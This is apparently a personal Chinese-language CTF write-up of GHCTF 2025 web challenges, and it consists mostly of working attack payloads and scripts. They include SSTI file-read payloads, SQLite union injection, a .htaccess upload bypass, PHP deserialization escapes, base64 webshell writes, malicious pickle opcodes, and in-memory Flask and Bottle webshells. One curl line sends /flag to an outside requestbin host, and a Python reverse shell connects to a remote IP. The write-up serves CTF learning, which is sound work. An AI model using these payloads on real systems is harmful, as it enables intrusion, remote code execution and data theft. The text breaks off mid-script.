GHctf


upload?SSTI!

{{7*7}}

{{lipsum["\x5f\x5fglobals\x5f\x5f"]["\x6f\x73"]["environ"]}}

'FLAG': 'no_FLAG'

哭(

{{ lipsum["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["open"]("/fla\x67").read() }}
NSSCTF{c9d3afc7-3d4c-47e7-a932-3da8e41fcef7}

其实还有一个原因是黑名单有的过滤了__有的没有,猜想就是用没过滤的+\x5f绕过w~

试了半天,拼尽全力终于战胜(


(>﹏<)

XXE攻击

curl -X POST http://node2.anna.nssctf.cn:28874/ghctf -d "xml=]>%26xxe;"


SQL???

!!!!!背景是哀酱啊啊啊啊,美如画!!!

?id=1  order by 5 --
?id=1 union select 1,2,3,4,5 --

卡住了(我甚至还把sqllabs的解翻了一遍

就在此时!

我看见typora好像还有一个sql()

文章 - sqlite注入的一点总结 - 先知社区

?id=1 union select 1,2,3,4,sqlite_version();
?id=1 union select 1,2,3,4,sql from sqlite_master;

直接梭哈!

?id=1 union select 1,2,3,4,flag from flag
NSSCTF{Funny_Sq11111111ite!!!}

Popppppp

< ?php
$i = 0;
while (true) {
    $str = (string)$i;
    $hash = md5(md5($str));
    // 检查前三位是否为'666',且第四位为非数字字符
    if (substr($hash, 0, 3) === '666' && !is_numeric(substr($hash, 3, 1))) {
        echo "Found valid string: $str\n";
        echo "MD5(MD5($str)) = $hash\n";
        break;
    }
    $i++;
}
?>
    
#Found valid string: 213
#MD5(MD5(213)) = 666ca9a2be31fd949cb9b55686caef9a

好多字。。。不想看,遂卒(


回过头来想好吧其实主要可能是方向错了,我一直没往原生类那儿想,已经被system洗脑了,没咋遇过用glob的pop。。。(


ez_readfile

魔改一下

< ?php
  show_source(__FILE__);
  echo "0";
  if (md5($_POST['a']) === md5($_POST['b'])) {
    echo "1";
  }
  if ($_POST['a'] != $_POST['b']) {
    echo "2";
  }
  if (is_string($_POST['a']) && is_string($_POST['b'])) {
    echo "3";
    echo file_get_contents($_GET['file']);
  }
?> 
curl -X POST http://kkk:8999/ -d "a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"

?file=index.php全给我回过来了,说明ok了

从伪协议到漏洞然后试了好多也不行。。。

curl -X POST http://node2.anna.nssctf.cn:28308/?file=/etc/passwd/ -d "a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"
#有返回,但并没有什么用(

file_get_contents() 函数详解与使用_php file get contents-CSDN博客从这里感觉要用反弹shell,能访问网址

真的很崩溃呜呜呜呜呜呜呜,卒(


UPUPUP

我基本照着文件上传大全都试了一遍,还是不行。。。而且直接上传pass.gif真不行,.use.ini也没前置php,好像只能用.htaccess。。。但真的不成功。。。一筹莫展。

然后疯狂bing。。。。。找到篇文章。。。

vulnerability-paper/skill/Apache_的._htaccess_利用技巧.md at master · MrWQ/vulnerability-paper

Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/gif

#define width 1337
#define height 1337

  SetHandler application/x-httpd-php


Escape!

class User
{
    public $username;
    public $isadmin;
    public function __construct($username,$isadmin)
    {
        $this->username=$username;
        $this->isadmin=$isadmin;
    }

}
 if($data[0]['username']==='admin') {
        $user = new User($username, true);
   #要通过只要isadmin=true就有机会
    }
    else{
        $user = new User($username, false);
    }
function setSignedCookie($serializedData, $cookieName = 'user_token', $secretKey = 'fake_secretKey') {
    $signature = hash_hmac('sha256', $serializedData, $secretKey);

    $token = base64_encode($serializedData . '|' . $signature);

    setcookie($cookieName, $token, time() + 3600, "/");  // 设置有效期为1小时
}

$User=login($SQL,$username,$password);

$User_ser=waf(serialize($User));

setSignedCookie($User_ser);#用这种方法加工

先注册一个瞄一眼

Cookie: user_token=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjQ6InFpbmciO3M6NzoiaXNhZG1pbiI7YjowO318NDNjMDhhZjJkYjgxZDI3OTg1YzA2MjgxMTE5ZjBhNDg0NmRlMGUzMmZlNjA3MmE0NTM0YWMzMWMyMDU4NzQ5Mw==

O:4:"User":2:{s:8:"username";s:4:"qing";s:7:"isadmin";b:0;}|43c08af2db81d27985c06281119f0a4846de0e32fe6072a4534ac31c20587493

尝试了很多方法都无法把secretKey搞出来,有点懵。。。

< ?php

function waf($c)
{
    $lists=["flag","'","\\","sleep","and","||","&&","select","union"];
    foreach($lists as $list){
        $c=str_replace($list,"error",$c);
    }
    #echo $c;
    return $c;
}

想到了[安洵杯 2019]easy_serialize_php这道题。印象很深因为我当时一直在数那个字符串的个数试图凑出跟wp一样的答案。。。

ww具体的原理自己看吧PHP反序列化字符逃逸详解_php filter字符串溢出-CSDN博客

要多出来";}s:7:"isadmin";b:1}共21个字符,用最短的and(与error差两个)和flag(1个),即10个and和1个flag。

so,用flagandandandandandandandandandand";s:7:"isadmin";b:1;}当username注册再登就行了,他就会变成下面那样就覆盖了就不用搞token了ww

Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU1OiJlcnJvcmVycm9yZXJyb3JlcnJvcmVycm9yZXJyb3JlcnJvcmVycm9yZXJyb3JlcnJvcmVycm9yIjtzOjc6ImlzYWRtaW4iO2I6MTt9IjtzOjc6ImlzYWRtaW4iO2I6MDt9fGVhMWVkOWRmNTVkNjJhNzdhNGU0M2JhMTA4ZTBmYzVhNWYzMDc3ZjVmM2Y0NzkxMTVhNTM4MmZiMDJkNWYxYjM=
O:4:"User":2:{s:8:"username";s:55:"errorerrorerrorerrorerrorerrorerrorerrorerrorerrorerror";s:7:"isadmin";b:1;}";s:7:"isadmin";b:0;}|ea1ed9df55d62a77a4e43ba108e0fc5a5f3077f5f3f479115a5382fb02d5f1b3

#被顶出来的";s:7:"isadmin";b:0;}不再执行,payload顺利逃出waf。

终于不报错了,我要哭了QAQ

尝试传🐎没效果。。。我恨

找了半天不知道哪错了,直到发现忘打开dashboard.php源代码了,呃呃

if($user->isadmin){
        $tmp=file_get_contents("tmp/admin.html");

        echo $tmp;

        if($_POST['txt']) {
        	$content = '';
		$content .= $_POST['txt'];
		file_put_contents($_POST['filename'], $content);
        }
    }

[伪协议绕过死亡代码

filename=php://filter/write=convert.base64-decode/resource=m.php&txt=aPD9waHAgcGhwaW5mbygpOw==

okk

写个🐎

filename=php://filter/write=convert.base64-decode/resource=qaq.php&txt=aPD9waHAgQGV2YWwoJF9QT1NUWyJwYXNzIl0pOw==

嘻嘻


总之这次还有一个教训就是有的不会的可以先放。。。一共7天我可能有四五天在看web3和5,因为总感觉差临门一脚了(

实在不想研究了,感觉自己的知识面还是窄,天知道pickle出来时我一万个后悔,早知道听学姐的把[HFCTF 2021 Final]easyflask给做了,但当时太懒了(

总之出wp在复现一遍吧。。现在对电脑有点PTSD了,要燃成舍利子了。。。


sorry我忘加web标签了,祸不单行。。。。。。。。。。。。。。。。。。。。这有什么改的方法吗(哭


官方wp:[GHCTF2025 Web Write Up.pdf](file:///D:/Downloads/GHCTF2025 Web Write Up.pdf)

[GHCTF 2025]ezzzz_pickle

/proc 下,每个正在运行的进程都有一个以其进程 ID(pid)命名的目录。例如,/proc/1 对应进程 ID 为 1 的进程。/proc/[pid]/environ 文件存储了对应进程的环境变量信息。

进程的环境变量包含了许多重要信息,如系统路径(PATH)、用户信息(USERHOME)、语言设置(LANG)等,这些环境变量会影响进程的运行方式和行为。

进程 ID 为 1 的进程通常是系统初始化进程(在传统的 SysV init 系统中是 init 进程,在使用 systemd 的系统中是 systemd 进程),它是所有其他进程的祖先进程,负责启动和管理系统的其他进程。

弱密码

环境变量读取,同是/docker-entrypoint.sh,或者读取/proc/1/environ

文件包含之/proc/self/environ - Junglezt - 博客园

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)


def generate_key_iv():#从环境变量获取密钥和IV
    key = os.environ.get(&#39;SECRET_key&#39;).encode()
    iv = os.environ.get(&#39;SECRET_iv&#39;).encode()
    return key, iv



def aes_encrypt_decrypt(data, key, iv, mode=&#39;encrypt&#39;):

    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
#CBC模式需要确保IV是随机且不可预测的,但这里IV是从环境变量获取的固定值,每次加密使用相同的IV,这会带来安全隐患
    if mode == &#39;encrypt&#39;:
        encryptor = cipher.encryptor()

        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  

    elif mode == &#39;decrypt&#39;:
        decryptor = cipher.decryptor()

        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()

        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {
    &#34;admin&#34;: &#34;admin123&#34;,
}

def create_session(username):

    session_data = {
        &#34;username&#34;: username,
        &#34;expires&#34;: time.time() + 3600  
    }
    pickled = pickle.dumps(session_data)#pickle序列化会话数据
    pickled_data = base64.b64encode(pickled).decode(&#39;utf-8&#39;)#使用 base64.b64encode() 方法对序列化后的数据进行 Base64 编码,然后使用 decode() 方法将编码后的字节数据解码为字符串 pickled_data。

    key,iv=generate_key_iv()
    session=aes_encrypt_decrypt(pickled_data, key, iv,mode=&#39;encrypt&#39;)#AES加密


    return session

def dowload_file(filename):
    path=os.path.join(&#34;static&#34;,filename)
    with open(path, &#39;rb&#39;) as f:
        data=f.read().decode(&#39;utf-8&#39;)
    return data
def validate_session(cookie):

    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv,mode=&#39;decrypt&#39;)
        pickled_data=base64.b64decode(pickled)


        session_data = pickle.loads(pickled_data)
        if session_data[&#34;username&#34;] !=&#34;admin&#34;:
            return False

        return session_data if session_data[&#34;expires&#34;] &gt; time.time() else False
    except:
        return False

@app.route(&#34;/&#34;,methods=[&#39;GET&#39;,&#39;POST&#39;])
def index():

    if &#34;session&#34; in request.cookies:
        session = validate_session(request.cookies[&#34;session&#34;])
        if session:
            data=&#34;&#34;
            filename=request.form.get(&#34;filename&#34;)
            if(filename):
                data=dowload_file(filename)
            return render_template(&#34;index.html&#34;,name=session[&#39;username&#39;],file_data=data)

    return redirect(&#34;/login&#34;)

@app.route(&#34;/login&#34;, methods=[&#34;GET&#34;, &#34;POST&#34;])
def login():

    if request.method == &#34;POST&#34;:
        username = request.form.get(&#34;username&#34;)
        password = request.form.get(&#34;password&#34;)

        if users.get(username) == password:
            resp = make_response(redirect(&#34;/&#34;))

            resp.set_cookie(&#34;session&#34;, create_session(username))
            return resp
        return render_template(&#34;login.html&#34;,error=&#34;Invalid username or password&#34;)

    return render_template(&#34;login.html&#34;)


@app.route(&#34;/logout&#34;)
def logout():
    resp = make_response(redirect(&#34;/login&#34;))
    resp.delete_cookie(&#34;session&#34;)
    return resp

if __name__ == &#34;__main__&#34;:
    app.run(host=&#34;0.0.0.0&#34;,debug=False)
PYTHON_SHA256=bfb249609990220491a1b92850a07135ed0831e41738cf681d63cf01b2a8fbd1
HOSTNAME=6172baf993ab4edf
PYTHON_VERSION=3.10.16
PWD=/app
HOME=/root
LANG=C.UTF-8
GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D
FLAG=no_FLAG
SECRET_key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
SHLVL=1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_iv=asdwdggiouewhgpw
_=/usr/local/bin/flask
OLDPWD=/

将fake_flag.txt移除并重创一个新的并写进ls /

文章 - pickle反序列化初探 - 先知社区

import pickle
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import time
import os

# 生成密钥和IV
def generate_key_iv():
    KEY = "ajwdopldwjdowpajdmslkmwjrfhgnbbv".encode()
    IV = "asdwdggiouewhgpw".encode()
    return KEY, IV


# AES加密函数
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()


# 创建恶意session
def create_malicious_session():
    # 创建恶意的python对象
#reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了,按理说这里用reduce也行,但试了下不行,这是为什么???
    opcode = b'''(cos
system
S'ls / > /app/static/fake_flag.txt'
o.'''
    # Base64编码
    pickled_data = base64.b64encode(opcode).decode('utf-8')

    # AES加密
    key, iv = generate_key_iv()
    encrypted_session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')

    return encrypted_session


# 生成恶意cookie
malicious_cookie = create_malicious_session()

print("恶意Cookie值:")
print(malicious_cookie)
print("\n将此值设置为session cookie,然后访问网站根路径")

用生成的session访问后再次用admin的session访问fake_flag.txt即可

用内存马文章 - 新版Flask框架下用钩子函数实现内存马的方式 - 先知社区

import os
import requests
import pickle
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding

key = b'ajwdopldwjdowpajdmslkmwjrfhgnbbv'
iv = b'asdwdggiouewhgpw'


# 生成恶意Payload
class Exploit:
    def __reduce__(self):
        return (exec, ("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",))
#随便访问一个不存在的界面造成404,再往shell里rce

# AES 加密和解密函数(⼀个函数处理加密和解密)
def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    # 创建加密器/解密器
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        # 数据填充,确保数据的⻓度是AES块⼤⼩的倍数
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()  # 返回加密后的数据(Base64编码)
    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        # 解密数据
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        # 去除填充
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()


e = Exploit()
pickled = pickle.dumps(e)
pickled_data = base64.b64encode(pickled).decode('utf-8')
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
print("session=", session)

Popppppp(2)

< ?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    public $fruit2;

    public function __construct($a) {
        $this->fruit1 = $a;
    }

    function __destruct() {
        echo $this->fruit1;
    }

    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc();
    }
}

class Forbidden {
    private $fruit3;

    public function __construct($string) {
        $this->fruit3 = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }

    public function __get($arg1) {
        $this->fruit5->ll2('b2');
    }
}

class Samurai {
    public $fruit6;
    public $fruit7;

    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->fruit7->tt2) {
            echo "xxx are the best!!!";
        }
    }
}

class Mystery {

    public function __get($arg1) {#__get($property)	当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。
        array_walk($this, function ($day1, $day2) {#array_walk($this, ...) 会遍历当前对象的所有公共属性:PHP 会将对象的公共属性转换为数组形式(键名是属性名,值是属性值)。假设对象有属性name => "John",则执行 new name("John")。
            $day3 = new $day2($day1);
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}

class Princess {
    protected $fruit9;

    protected function addMe() {
        return "The time spent with xxx is my happiest time" . $this->fruit9;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func . "Me"], $args);
    }
}

class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";

    public function __invoke() {#__invoke()	当将一个对象作为函数进行调用时自动调用。
        if (md5(md5($this->fruit11)) == 666) {
            return $this->fruit10->hey;
        }
    }
}

class UselessTwo {
    public $hiddenVar = "123123";

    public function __construct($value) {
        $this->hiddenVar = $value;
    }

    public function __toString() {
        return $this->hiddenVar;
    }
}

class Warrior {
    public $fruit12;
    private $fruit13;

    public function __set($name, $value) {
        $this->$name = $value;
        if ($this->fruit13 == "xxx") {
            strtolower($this->fruit12);
        }
    }
}

class UselessThree {
    public $dummyVar;

    public function __call($name, $args) {
        return $name;
    }
}

class UselessFour {
    public $lalala;

    public function __destruct() {
        echo "Hehe";
    }
}

if (isset($_GET['GHCTF'])) {
    unserialize($_GET['GHCTF']);
} else {
    highlight_file(__FILE__);
}

https://blog.csdn.net/cjdgg/article/details/115314651

不能说毫不相关,只能说一模一样,还是见识少了(

当时已经将_get前的推出了,但想的是Forbidden传system却又找不到传参的地方。。。

DirectoryIterator 类
FilesystemIterator 类,这俩用glob:///*,用/也行
GlobIterator 类各不同吧,但GlobIterator自带glob,用/*

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等

< ?php
#CherryBlossom.__destruct()->CherryBlossom.__toString()->Philosopher.__invoke()->Mystery.__get
class CherryBlossom {
    public $fruit1;
    public $fruit2;

}


class Mystery {
    public $FilesystemIterator='glob:///*';
}



class Philosopher {
    public $fruit10;
    public $fruit11=213;#另外我发现这里加不加引号都行,看来'=='是这样的(

}

$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2=new Philosopher();
$a->fruit1->fruit2->fruit10=new Mystery();#fruit10而不是11
echo serialize($a);
#感觉wp里的pop链写法很简单易懂啊,建议大家都这么写(
public $SplFileObject='/flag44545615441084';`

O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:13:"SplFileObject";s:19:"/flag44545615441084";}s:7:"fruit11";i:213;}}s:6:"fruit2";N;}

得出。


SQL???(2)

这个故事告诉我们要看一下错误后的内容,还有要掌握一门外语(

--random-agent 它的作用是让 SQLMap 在每次向目标网站发送请求时,随机选择一个不同的用户代理(User-Agent)字符串。

许多 Web 应用防火墙(WAF)会根据用户代理字符串来判断请求是否合法。如果一个来源的请求始终使用相同的用户代理字符串,WAF 可能会将其识别为自动化工具(如 SQLMap)的请求,并进行拦截。而使用 --random-agent 选项后,每次请求的用户代理字符串都不同,模拟了不同用户使用不同浏览器和设备访问网站的情况,从而增加了绕过 WAF 检测的可能性。

sqlmap -u "http://node1.anna.nssctf.cn:28030/?id=1" --random-agent

但其实能让它扫16分钟的也是神人了


Message in a Bottle

源代码如下

from bottle import Bottle, request, template, run


app = Bottle()

# 存储留言的列表
messages = []
def handle_message(message):
    message_items = "".join([f"""
        
            {msg}
            #{idx + 1} - 刚刚
        
    """ for idx, msg in enumerate(message)])

    board = f"""
    
    
        
        
        简约留言板
        
         
            :root {{
                --primary-color: #4a90e2;
                --hover-color: #357abd;
                --background-color: #f8f9fa;
                --card-background: #ffffff;
                --shadow-color: rgba(0, 0, 0, 0.1);
            }}

            body {{
                background: var(--background-color);
                min-height: 100vh;
                padding: 2rem 0;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            }}

            .container {{
                max-width: 800px;
                background: var(--card-background);
                border-radius: 15px;
                box-shadow: 0 4px 6px var(--shadow-color);
                padding: 2rem;
                margin-top: 2rem;
                animation: fadeIn 0.5s ease-in-out;
            }}

            @keyframes fadeIn {{
                from {{ opacity: 0; transform: translateY(20px); }}
                to {{ opacity: 1; transform: translateY(0); }}
            }}

            .message-card {{
                background: var(--card-background);
                border-radius: 10px;
                padding: 1.5rem;
                margin: 1rem 0;
                transition: all 0.3s ease;
                border-left: 4px solid var(--primary-color);
                box-shadow: 0 2px 4px var(--shadow-color);
            }}

            .message-card:hover {{
                transform: translateX(10px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .message-content {{
                font-size: 1.1rem;
                color: #333;
                line-height: 1.6;
                margin-bottom: 0.5rem;
            }}

            .message-time {{
                color: #6c757d;
                font-size: 0.9rem;
                display: block;
                margin-top: 0.5rem;
            }}

            textarea {{
                width: 100%;
                height: 120px;
                padding: 1rem;
                border: 2px solid #e9ecef;
                border-radius: 10px;
                resize: vertical;
                font-size: 1rem;
                transition: border-color 0.3s ease;
            }}

            textarea:focus {{
                border-color: var(--primary-color);
                outline: none;
                box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
            }}

            .btn-custom {{
                background: var(--primary-color);
                color: white;
                padding: 0.8rem 2rem;
                border-radius: 10px;
                border: none;
                transition: all 0.3s ease;
                font-weight: 500;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-custom:hover {{
                background: var(--hover-color);
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            h1 {{
                color: var(--primary-color);
                text-align: center;
                margin-bottom: 2rem;
                font-weight: 600;
                font-size: 2.5rem;
                text-shadow: 2px 2px 4px var(--shadow-color);
            }}

            .btn-danger {{
                transition: all 0.3s ease;
                padding: 0.6rem 1.5rem;
                border-radius: 10px;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-danger:hover {{
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .text-muted {{
                font-style: italic;
                color: #6c757d !important;
            }}

            @media (max-width: 576px) {{
                h1 {{
                    font-size: 2rem;
                }}
                .container {{
                    padding: 1.5rem;
                }}
                .message-card {{
                    padding: 1rem;
                }}
            }}
        
    
    
        
            
                 简约留言板
                
                     一键清理
                
            

            
                
                
                    发布留言
                
            

            
                
                    最新留言({len(message)}条)
                    {f'点击右侧清理按钮可清空列表' if message else ''}
                
                {message_items}
            
        
    
    """
    return board



def waf(message):
    return message.replace("{", "").replace("}", "")


@app.route('/')
def index():
    return template(handle_message(messages))


@app.route('/Clean')
def Clean():
    global messages
    messages = []
    return 'window.location.href="/"'

@app.route('/submit', method='POST')
def submit():
    message = waf(request.forms.get('message'))
    messages.append(message)
    return template(handle_message(messages))


if __name__ == '__main__':
    run(app, host='localhost', port=9000)

很明显的Bottle模版注入,过滤了{和},尝试闭合标签并写入python代码

</div>
% print(1)
<div>

没有回显,但是代码也消失了,判断应该是执行命令但是没有回显

尝试直接外带数据

</div>
% print(__import__('os').popen('curl http://requestbin.cn:80/1lt58m51?data=$(cat /flag | base64)').read())`
<div>
#使用 __import__('os') 动态导入 os 模块,__import__ 是 Python 内置的用于动态导入模块的函数。
#调用 os.popen 函数执行一个系统命令。
#使用 read() 方法读取 os.popen 执行命令后的输出结果,并通过 print 函数打印出来

依然没有接收到,判断可能不出网,使用sleep进行盲注

</div>
% __import__("time").sleep(2) if open("/flag").read()[0]=='N' else 1
<div>

产生延时,的确可行,逐位爆破即可,先猜个前7位:NSSCTF{

然后就是爆破了,使用BP进行逐位半自动爆破(逻辑有点复杂,不会写脚本),注意BP默认多线程爆破,不容易判断在哪一次上传后产生延时,将线程改为1即可,字典使用abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!@#$%^&*()-+,然后将每一次上传时第一个产生延时的字符填入对应的flag位置即可(注意环境重启flag会切换,中间换环境了要重新开始,我就中间换了环境导致flag不对卡半天),每判断一位清理一次留言板。

最终得到flag

NSSCTF{6b3d59cb-29a4-451b-ac74-6abc607ea182}

​ —-xianxin

内存马:

奇安信攻防社区-探寻Bottle框架内存马

Python Web内存马多框架植入技术详解 – 奇安信技术研究院

SimpleTemplate 模板引擎 — Bottle 0.13-dev 文档

#内存马
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())

#从 bottle 框架中导入 Bottle 类和 request 对象。Bottle 类用于创建 Web 应用,request 对象用于获取客户端请求的相关信息。
#使用 __import__('sys') 动态导入 sys 模块,通过 sys.modules['__main__'] 获取主模块,再从主模块的命名空间(__dict__)中获取名为 app 的 Bottle 应用实例。(通过 sys 模块获取主模块的命名空间,从中提取出已存在的 Bottle 应用实例 app。)
#为 Bottle 应用添加一个新的路由 /shell,该路由处理 GET 请求。当客户端访问 /shell 时,会执行一个匿名函数。这个匿名函数的功能是:
#使用 request.params.get('lalala') 从请求的查询参数中获取名为 lalala 的值。
#使用 __import__('os') 动态导入 os 模块,然后调用 os.popen 函数执行从查询参数中获取的值作为系统命令。
#最后读取命令执行的输出结果并返回给客户端。
#弹shell
%__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket
();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,
1,2)];pty.spawn(\"sh\")'").read()
             
"""python3 -c:这是 Python 命令行选项,用于直接执行后面单引号内的 Python 代码。
import os,pty,socket:导入 os、pty 和 socket 模块。os 模块提供了与操作系统进行交互的功能;pty 模块用于创建伪终端;socket 模块用于网络通信。
s = socket.socket():创建一个 TCP 套接字对象 s。
s.connect(("111.xxx.xxx.xxx", 7777)):尝试连接到指定 IP 地址(111.xxx.xxx.xxx)和端口(7777)的远程服务器。
[os.dup2(s.fileno(), f) for f in (0, 1, 2)]:
s.fileno() 返回套接字对象 s 的文件描述符。
os.dup2 函数用于复制文件描述符,这里将标准输入(文件描述符 0)、标准输出(文件描述符 1)和标准错误(文件描述符 2)都重定向到套接字 s。这样,后续的输入输出操作都会通过网络套接字进行。
pty.spawn("sh"):启动一个新的 shell 进程(这里是 sh),并将其与之前重定向的标准输入、输出和错误关联起来。这样,攻击者在远程服务器上就可以通过这个套接字控制目标系统的 shell,实现反弹 shell 的效果。"""

ez_readfile(2)

import requests
TARGET_URL = "http://node1.anna.nssctf.cn:28067/"
POST_DATA = {#POST 请求携带的数据。
  "a": "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak",
  "b": "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak"
}
TEST_PATHS = [
  "/flag",  # 绝对路径
  "../../../../flag",  # 路径遍历
  "/flag.txt", # 常见扩展名
  "/etc/passwd",
  "/app/flag",
  "/run/secrets/flag",
  "/opt/flag",
  "/usr/local/flag",
  "/docker-entrypoint.sh",
  "/tmp/flag",
  "tmp/flag.tmp",
  "/var/tmp/flag",
  "/var/log/apache2/access.log",
  "/var/log/nginx/access.log",
  "/var/log/auth.log",
  "/var/log/syslog",
  "/var/www/html/index.php",
  "/var/www/html/config.php",
  "/var/www/html/.env",
  "/var/www/html/admin/flag",
  "/var/www/html/uploads/flag",
  "/var/www/html/secret/flag",
  "/var/www/html/robots.txt",
  "/var/backups/flag",
  "/var/backups/flag.bak",
  "/var/backups/app.tar.gz",
  "/var/lib/gnats/flag",
  "/home/flag",
  "/home/user/flag",
  "/etc/shadow",
  "/etc/flag",
  "/etc/motd",
  "/etc/hosts",
  "/etc/environment",
  "/proc/self/environ",
  "/proc/version",
  "/tmp/flag",
  "/tmp/flag.tmp",
  "/var/tmp/flag",
  "/var/log/apache2/access.log",
  "/var/log/nginx/access.log",
  "/var/log/auth.log",
  "/var/log/syslog",
  "/flag.bak",
  "/flag.old",
  "/flag.swp",
  "/flag.swo",
  ".flag",
  ".flag.txt",
  ".flag.php",
  "._flag",
  "/readme.md",
  "/notice.txt",
  "/hint.txt",
  "/secret",
  "/admin/flag",
  "/api/flag",
  "/v1/flag"
]
def test_paths():
    for path in TEST_PATHS:
        params={"file":path}#为每个路径创建一个包含 file 参数的字典 params。
        try:
            response=requests.post(
                TARGET_URL,
                data=POST_DATA,
                params=params,
                timeout=5
            )
            if response.status_code==200:
                if "NSSCTF{" in response.text:
                    print(f"[+]成功获取 Flag:{response.text}")
                    return
                elif "Warning" in response.text:
                    print("Warning")
                else:
